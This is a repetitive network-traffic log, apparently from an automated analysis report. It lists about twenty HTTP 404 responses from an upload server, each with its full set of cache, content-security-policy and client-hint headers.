Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC74G1FI_IYNsc5kmCa9cyX7dsnVi_k2kSj3CHIrbd-Njr5AvVyptl7uWI8mRlOZPAF6AQniMxQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:54 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-znUdXM_em0LhSDDk_e4v1Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6jpv85Z3c0_UzOK9CZ-XJvXk1GM6q1C4jD4g51XeGxVawThbAzFVOZ7MOLS2EcXXR0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:54 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-iGx1boq8l-ZGgs2RkLcLEw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6UUQToltuVDmqjV5AjgxczcCmsTsxSpwB4Nfl53UAI99V4mWL1kRTX1MzZd32kQwiYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:55 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-hBrtC9AP7MdOyaPgfi_heA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC74XUF1s6iiRe2VrMsO3f1umX4cz29Fi9Pc_4C2iugwrsn_3xDhDScby_u6CP5S8ysUw5ai0mIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:55 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-oh9OGDdLjOUJe0I7ZcXshg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5MQ43B1XzoM6-xGNRuIRoqdc4VnpHJm_4-Z_RnWHDDvMYoJLE_TUqcxSiQMEcbhwiR-p6MIoEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:57 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-mQDrZld0y5-70CWJRbsi7w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6mIfljl4vQ7iJFAHYAW5c9iX0cqyLso_tUuZu33YQsSUIe8WdtVD3iAfHGT2FDJyUEO3QIZ-4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:58 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-oDeaYJzEdROX8h-GMcD6-A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5XoKre8EMaQLF6c5gwfeS0k5liBe2-ymvUwP0Z3Ji_eR4RxuNkh0UilA6IXXrEMkk_z2-bYFAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:58 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-BcBIk-4TQ6M9_ZIPez2mZg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC74UGwzIgJ9qwTLQct41Vwhc3TLeHPFmyr0nhyLtEEem9RgtYE25afxkTy2mUdlCpoQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:59 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-ExAe4R3i4tUg3hkLoNeEJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4RkpASMCrZIy73vskkvbC3C09TTMif6VsQ76cUplnjuA4_HdKP-zVDFWTg2bB88kASlu6ZYXIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:00 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-8oC6UyrE4trvVq6gCTVhIQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7qgWHwVonPK40oXr0hPtYX0WU4nRH8yWj_w5P3yeL7EtdQWfbNuIEUq9lO5AA2-uLeContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:00 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-kbtCcHl4ft9IvX3Ehl2kpA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4jcGY7V2gtFs628ESc7YXcrr0vKzQnvdOADOIyaWJz8vFBbH46rkVwR1ZZxpsq-cUAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:03 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-juyrZDr2dTTrpFHax_rvWA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6zy1I7_d7EPyjBYiEE5qInNDR4ZmCG2EylrTKmgIYkkDSsoOjYiY-SFGgsPYAKLvH4ZJA9N6UContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:03 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-lktlir2GX0fbFrHd94JWCA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6cQZQmEmwnaGsWFZfkMcCAJdcR1ulKAsljPHPZrgWRZkH5wi5xu80shqd16b0-oDZ0aGNswQgContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:04 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-Bin-PXkACD7pPrABMWUfXg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC63eImXTeJJWSuOdUF2HlGD2guQ9tctEz8uynu26Wgolid454kMvn3zwoConYwWjRdiIU1zmcwContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:04 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-FRscNEhlxczxidmQdRBZdw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6bsk8tegW-ahPVbOA3ebUSD3Oa6OLUdr_FiSlrD-oaTK3B7lrumaY1Q2bTG-aXdQCwr0WVv-4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:05 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-4k_7Ch3f4WoOKsNVvhz6jA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7Voc7LGZY8UfT_9DUs1MUwV8xqdIxac2kp6mpiOTV_OvbVHRrB2MUq5yPONJmITP8BContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:06 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-lOE2N5MFLjk-LpqdYkss8g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6iRm3Zu4G4_XfuiaJiAcBpn6zszKHMmfIKYMug8rUyaxijEO57iFEWQOgXi2BHK-ppContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:07 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-f0R7_kDsWSLj2gVfBz1WSw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7_s8cTnsiOcz9hJJTdVQ0slpp54vFTUiUUcOm2RFUcTTHn5qjk2rC6D4u_tlTx5BexrviQrmIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:08 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Ve4TOwJUKsgq-rVXqhDR_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5PMRwc0aAg4_QfKP_IcTFtCjLAseC8AF3Sz20qSicaptA5XQSbSyGgB1PcPLJ0kdLbmBaM3FEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:08 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-R6WEjNuABFQ6t3tmW9W74A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5-BmvEg0ck1dz8fDwYbHSuY3qoOS30Ajatfl8HIhE25FMmDUJCQuUe-WsKs0pcPU4pContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:12:09 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-XRAe5U-SgyYwm8JQI8dbDg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
